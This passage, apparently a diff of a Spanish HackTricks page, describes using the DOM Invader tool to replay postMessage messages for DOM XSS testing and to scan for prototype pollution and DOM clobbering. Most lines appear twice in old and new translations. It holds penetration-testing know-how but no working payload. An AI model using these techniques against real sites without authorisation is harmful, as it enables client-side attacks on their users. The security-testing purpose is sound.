1. **Registro de mensajes web** enviados a través de `postMessage()`, similar al registro de historial de solicitudes / respuestas HTTP de Burp Proxy.
1. **Registro de mensajes web** enviados a través de `postMessage()`, similar al registro de historial de solicitudes/respuestas HTTP de Burp Proxy.
2. **Modificación** y **reenvío** de mensajes web para probar manualmente XSS en el DOM, similar a la función de Burp Repeater.
3. **Alteración automática** y envío de mensajes web para sondear XSS en el DOM.
#### Detalles del mensaje
Puede hacer clic en cada mensaje para ver información más detallada sobre él, incluyendo si las propiedades `origin`, `data` o `source` del mensaje son accedidas por el JavaScript del lado del cliente.
Puedes hacer clic en cada mensaje para ver información más detallada al respecto, incluyendo si las propiedades `origin`, `data` o `source` del mensaje son accedidas por el JavaScript del lado del cliente.
* **`origin`**: Si la **información de origen del mensaje no se comprueba**, es posible que pueda enviar mensajes entre dominios al controlador de eventos **desde un dominio externo arbitrario**. Pero si se comprueba, aún podría ser inseguro.
* **`origin`**: Si la **información de origen del mensaje no se verifica**, es posible que puedas enviar mensajes entre dominios al controlador de eventos **desde un dominio externo arbitrario**. Pero si se verifica, aún podría ser inseguro.
* **`data`**: Aquí es donde se envía la carga útil. Si estos datos no se utilizan, el sumidero es inútil.
* **`source`**: Evalúa si la propiedad de origen, que generalmente hace referencia a un iframe, se valida en lugar del origen. Incluso si esto se comprueba, no asegura que la validación no pueda ser eludida.
* **`source`**: Evalúa si la propiedad de origen, que generalmente hace referencia a un iframe, se valida en lugar del origen. Incluso si esto se verifica, no asegura que la validación no pueda ser eludida.
#### Responder a un mensaje
1. Desde la vista de **Mensajes**, haga clic en cualquier mensaje para abrir el cuadro de diálogo de detalles del mensaje.
2. Edite el campo **Datos** según sea necesario.
3. Haga clic en **Enviar**.
1. Desde la vista de **Mensajes**, haz clic en cualquier mensaje para abrir el diálogo de detalles del mensaje.
2. Edita el campo **Data** según sea necesario.
3. Haz clic en **Enviar**.
### Contaminación de prototipos
DOM Invader también puede buscar **vulnerabilidades de contaminación de prototipos**. Primero, debe habilitarlo:
DOM Invader también puede buscar **vulnerabilidades de contaminación de prototipos**. Primero, debes habilitarlo:
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
Luego, buscará **fuentes** que le permitan agregar propiedades arbitrarias al **`Object.prototype`**.
Luego, buscará **fuentes** que te permitan agregar propiedades arbitrarias al **`Object.prototype`**.
Si se encuentra algo, aparecerá un botón **Prueba** para **probar la fuente encontrada**. Haga clic en él, aparecerá una nueva pestaña, cree un objeto en la consola y compruebe si existe la propiedad `testproperty`:
Si se encuentra algo, aparecerá un botón de **Prueba** para **probar la fuente encontrada**. Haz clic en él, aparecerá una nueva pestaña, crea un objeto en la consola y verifica si la propiedad `testproperty` existe:
```javascript
let b = {}
b.testproperty
```
Una vez que encuentres una fuente, puedes **escanear para encontrar un gadget**:
Una vez que encuentres una fuente, puedes **escanear en busca de un gadget**:
1. Desde la vista **DOM**, haz clic en el botón **Escanear para encontrar gadgets** junto a cualquier fuente de contaminación de prototipos que haya encontrado DOM Invader. DOM Invader abre una nueva pestaña y comienza a escanear en busca de gadgets adecuados.
2. En la misma pestaña, abre la pestaña **DOM Invader** en el panel de DevTools. Una vez que se completa el escaneo, la vista **DOM** muestra cualquier sumidero al que DOM Invader pudo acceder a través de los gadgets identificados. En el ejemplo a continuación, se pasó una propiedad de gadget llamada `html` al sumidero `innerHTML`.
1. Desde la vista del **DOM**, haz clic en el botón **Escanear en busca de gadgets** junto a cualquier fuente de contaminación de prototipos que haya encontrado DOM Invader. DOM Invader abrirá una nueva pestaña y comenzará a escanear en busca de gadgets adecuados.
2. En la misma pestaña, abre la pestaña **DOM Invader** en el panel de herramientas de desarrollo. Una vez que se complete el escaneo, la vista del **DOM** mostrará cualquier punto de fuga al que DOM Invader haya podido acceder a través de los gadgets identificados. En el ejemplo a continuación, se pasó una propiedad de gadget llamada `html` al punto de fuga `innerHTML`.
## Contaminación de DOM
## Clobbering del DOM
En la imagen anterior se puede ver que se puede activar el escaneo de contaminación de DOM. Una vez hecho esto, **DOM Invader comenzará a buscar vulnerabilidades de contaminación de DOM**.
En la imagen anterior se puede ver que se puede activar el escaneo de clobbering del DOM. Una vez hecho esto, **DOM Invader comenzará a buscar vulnerabilidades de clobbering del DOM**.
## Referencias
@ -102,8 +102,8 @@ En la imagen anterior se puede ver que se puede activar el escaneo de contaminac
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>